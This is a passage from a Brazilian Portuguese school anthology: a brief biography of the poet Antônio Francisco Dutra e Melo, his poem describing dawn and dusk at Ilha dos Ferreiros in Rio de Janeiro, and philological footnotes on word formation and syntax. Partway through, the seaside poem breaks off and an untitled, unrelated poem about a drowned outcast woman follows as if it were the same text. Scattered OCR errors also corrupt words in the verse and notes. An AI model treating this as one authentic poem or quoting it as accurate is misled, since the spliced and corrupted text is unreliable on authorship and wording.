ANTÔNIO FRANCISCO DUTRA E MELO (Rio de Janeiro, 1823-1846) foi uma esperança malograda, e ceifada em flor pela morte. Na Minerva Brasiliense e em outros jornais deixou esparsas lindíssimas poesias, cuja publicação foi encetada, chegando a imprimir-se algumas folhas, mas até hoje não concluída. Dele só temos completo um Curso Prático de Língua Inglesa e dois voluminhos de versos, que não são os melhores.
Vivia do magistério particular. Morreu no mesmo dia em que Januário de Cunha Barbosa — 22 de fevereiro de 1846.
Madrugada e Tarde na Ilha dos Ferreiros
Alva luz sobre o chão vem-se espargindo,
Que o dia enfresta em descorados raios
Por aquelas vidraças; mal tremula
A frouxa lamparina, azul qual astro
Coas trevas disputando; já no ocaso
Vai longe a noite, e o sono se esvaece.
Oh! corramos a ver tantas belezas
Vistas sempre e tão novas sempre à vista.
Que mágica mudança!
Que oceano de vida! Submergido
Qual átomo no espaço, ora me sinto
Abalar como um ramo sacudido
Aos tufões do nordeste.
Oh! que frescura, que eletriza e anima!
A alma se expande, em sensações se abisma!
Bela rompe a manhã; qual pudibunda,
Arreceosa noiva, se colora
De vermelho o oriente; e roxo um circ’lo
Abraçando o horizonte a côr vislumbra
Duns lábios em que a dor vem debuxar-se.
Não luceja (616) inda Vénus; despenhada
Após o dia sè perdeu na tarde.
Mas alta lá no céu divulgo a lua;
Pela manhã surpresa na carreira
Desmaiada se esvai.
Nos níveos braços,
Nuvens a tomam: semelhara a imagem
Dum guerreiro, nas ondas do combate,
Erguida a lança, ameaçando a morte,
Que a treda bala sibilando encontra:
Pende sobre o ginete, e inda no rosto
A última expressão paira, e na boca
O suspiro e a palavra se enregelam.
Em vórtices rolando pelos ares
Turbilhões de harmonia se difundem.
Cada nota é soberba consonância;
Cada leve cantar um instrumento;
Cada árvore uma orquestra, onde se exala
Em suspiros, em árias, em gorjeios,
A música da terra. Oh! que suavíssimo
Concerto em que ondulando a melodia
Domina um todo que embriaga o ouvido!
Passada a aurora vai. Lá rompe as nuvens
Fúlgido raio dardejante aos ares,
Estira-se no mar; escamas de ouro
Luzem brilhando no oceano imenso: (617)
Nova cena de pompa se afigura;
Cada montanha até nas águas roça
Largo manto de azul. Croas aurejam (618)
Na fronte erguida; é cada qual monarca,
E um cortejo de príncipes são todas
Ao monarca da luz. Rápido estende
Seu tapete cerúleo o céu, que o espera.
Meio disco já tem sobre o horizonte. . .
Oh! como é bela a aparatosa vista
Que a cidade apresenta! — esses reflexos
Das altas clarabóias cintilando,
Como ao longe um fanal de argênteas luzes;
Essas torres e casas que se englobam,
De pontos de ouro errantes semeadas;
Esse quadro avultado pelas cores
Que a atmosfera lhe oferece em fundo;
Essas colinas verdes em que pousam
Alvos conventos, qual se assenta a pomba
Lá no cimo das copas da mangueira;
Essa floresta imensa de navios,
Cujos mastros semelham gradarias,
Que as praias cercam; — mais a um lado a mole.
Que o Pão de Açúcar sobranceiro eleva,
Como o rei desse vale de delícias,
Ou qual viva atalaia, que o defende.
Lá dobra, majestosa, a Candelária
Nos seus longos e esguios campanários;
E esses dobres longínquos, gemebundos,
Vir boiando parecem sobre as águas.
Mas deixemos as galas do nascente:
O ocaso espera as ovações do dia,
O ocaso aqui nos guarda outras belezas.
Como üm frouxo suspiro em que do sono
Desperta a natureza,
Difunde-se o terral suave e fresco,
Molemente nas águas se debruça.
Que doce refrigério na alma infunde
O seu bafo tão doce!
Não de outra sorte as dores adormentam
Da minha terna mãe brandos cuidados;
A lágrima que rola-me nos olhos, (619)
Testemunha esta imagem!
Verde o mar como um campo ali se esbarra
Na areia de cristal que a praia adorna
Da Ponta do Caju. Longa se estende
Uma fita elegante de alvas casas,
Coroadas de flóreos cajueiros,
Molhando na água os pés.
Lá se assoberba
A quinta imperial toda coberta
Por mil densas abóbadas de folhas…
Mas que vejo?! No azul lá no oceano
(Quais as gaivotas piadoras brilham)
Pontos de prata branquejando avultam,
Perdidos nesses rolos de safiras,
Como estrelas no céu, como esperanças
Num coração que a dúvida lacera.
Mil velas se desenham pouco a pouco;
Barcos ligeiros vão roçando as ondas,
Ferve a espuma, as esteiras se desdobram,
Sem gesto impaciente.
Lavou-se a mancha: (620) agora
Vede a mulher somente.
Não perscruteis cruel
Se aquele anjo revel (621)
Ao seu dever falhou;
Ouro que sai da liga,
Só a beleza antiga
A morte lhe deixou.
Não recordeis seus erros;
Como a mulher primeva,
Foi frágil e foi Eva,
No visgo escorregou.
Limpai-lhe os pobres lábios
Que a vasa enlameou;
Arrepanhai-lhe as tranças, (622)
Que, soltas flutuantes,
Às ondas murmurantes
O pente abandonou.
E neste afã o espírito,
Trabalhador ativo,
Indaga pensativo
Qual era o lar doméstico,
Onde ela se acolhia?
O pai que a doutrinava,
A mãe que a dirigia?
Tinha de irmão, de irmã,
Meiguices e carinho?
Ou, mais querida ainda,
Um santo, um doce ninho,
Onde, ao cair da tarde,
Quando a tarefa finda,
Tranqüila se acolhesse,
E, alegre e protegida,
Do labutar da vida
As asas recolhesse?
Ó Deus, cristã piedade,
Triste e cruel verdade,
É raro aparecer!
Numa cidade inteira
Um palmo de lareira
Ela não pôde obter!
Sem pai, sem mãe, sozinha,
Do mundo entrou no exílio;
De irmão, de irmã, não tinha
Carícia, amparo, auxílio…
Colhei-a com doçura.
Erguei-a com cautela. . .
Ó frágil criatura,
Tão jovem e tão bela!
Antes que os membros frígidos
Se imobilizem rígidos,
Componde, amaciai-os,
De compaixão tomados;
Seus olhos, oh! fechai-os, (623)
Que encaram dilatados,
Sem ver, da luz os raios,
Por entre o lodo impuro
Agora inda retendo
Aquele olhar tremendo
Fitado no futuro!
Se tão sinistra morte
Da culpa não exime,
Daquela triste sorte
Foi seu, somente, o crime?
Do mundo a contumelia, (624) A gélida inclemencia Trouxeram-lhe a demência. .. E mesmo neste enleio Do que era bem e mal, No arquejo (625) seu final As mãos cruzou no seio, Em tímida oração, Como a pedir perdão!
(Idem, pp. 21-27).
- (616) — lucejar — formado este verbo com a raiz de luce, luz e o suf. ejar (do lat. idiare: di + vogal = /), com a idéia de repetição, freqüência, inclinação, como se vê em bordejar, gotejar, calejar, alvejar, velejar, vermelhejar, farejar, palidejar, bafejar, bravejar, branquejar, forcejar, partejar, corvejar, vasquejar, etc.
- (617) imenso — não medido (de mensu-, part. do v. lat. metiri, que deu medir; da mesma raiz de mensura, mensurar, mesura, etc.). João Ribeiro, o doutíssimo dos nossos filólogos, há quarenta anos, em nota de sua Seleta Clássica, pondo par a par os prefixos negativos in e des, fêz notar o aspecto erudito do primeiro, junto a formas menos alteradas, e a feição popular do segundo, aposto a vozes evolutivas. Isso se vê, de fato, em imenso ao lado de desmedido, em intimorato, inválido, infrene, iniqüidade, ilegal, inusitado, ilimitado, inerme, inconsútil, impudico, inânime, incógnito, incrédulo, insípido, infortunio, impávido, impoluto, imperceptível, incolor, inimizar, ao lado, respectivamente, de destemeroso, desvalido, desfreado, desigualdade, desleal, desusado, deslindado, desarmado, descosido, despudorado, desanimado, desconhecido, descrente, desenxabiâo, desfortuna, despavorido, despoluído, despercebível, depenado, descorado, desamigar, etc. É de observar ainda que, de modo geral, às vezes, o in produz a negativa absoluta e o des a relativa: um indica o que não ê, outro o que deixou de ser, como se nota entre incrédulo e descrente, inconsútil e descosido, impene e depenado, infrene e desfreado, incolor e descorado, etc.
- (618) aurejar — Outro verbo não registrado nos dicionários, formado por esse poeta mediante o suf. ejar junto à raiz de aurum, ouro.
- (619) — A lágrima que rola-me nos olhos — Hoje — a não ser os que destratam a língua por menoscabo ou por acinte — nenhum escritor deixaria assim situado o pronome, ainda que amparado, como aqui, pela cadência métrica.
- (620) — se — apassivador.
- (621) — revel = rebelde, revoltado, desobediente; do lat. rebelle (= que reata ou reenceta a guerra), de cuja raiz procede também rebelde (Cfr. humilde, de humlle-) ou pelo acréscimo analógico do -d- ou pela forma hipotética *rebellile, v. *rebellitare.
- (622) — Arrepanhai-lhe as tranças — colhei, reuni, componde-lhe as tranças. Trança, possivelmente do lat. hipotético *lrinitia, do radical de trinitas.
- (623) os — objeto dir. pleonástico, pois repete, sob a forma pronominal, o termo inicial, objetivo — seus olhos.
- (624) contumelia (lat. e port.) = injúria, afronta, ultrage, invectiva.
- (625) arquejo — deverbal de arquejar (e éste de arca, o peito, a caixa torácica, e o suf. ejar) = ofego, ânsia, respiração ‘ ofegante.
Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.
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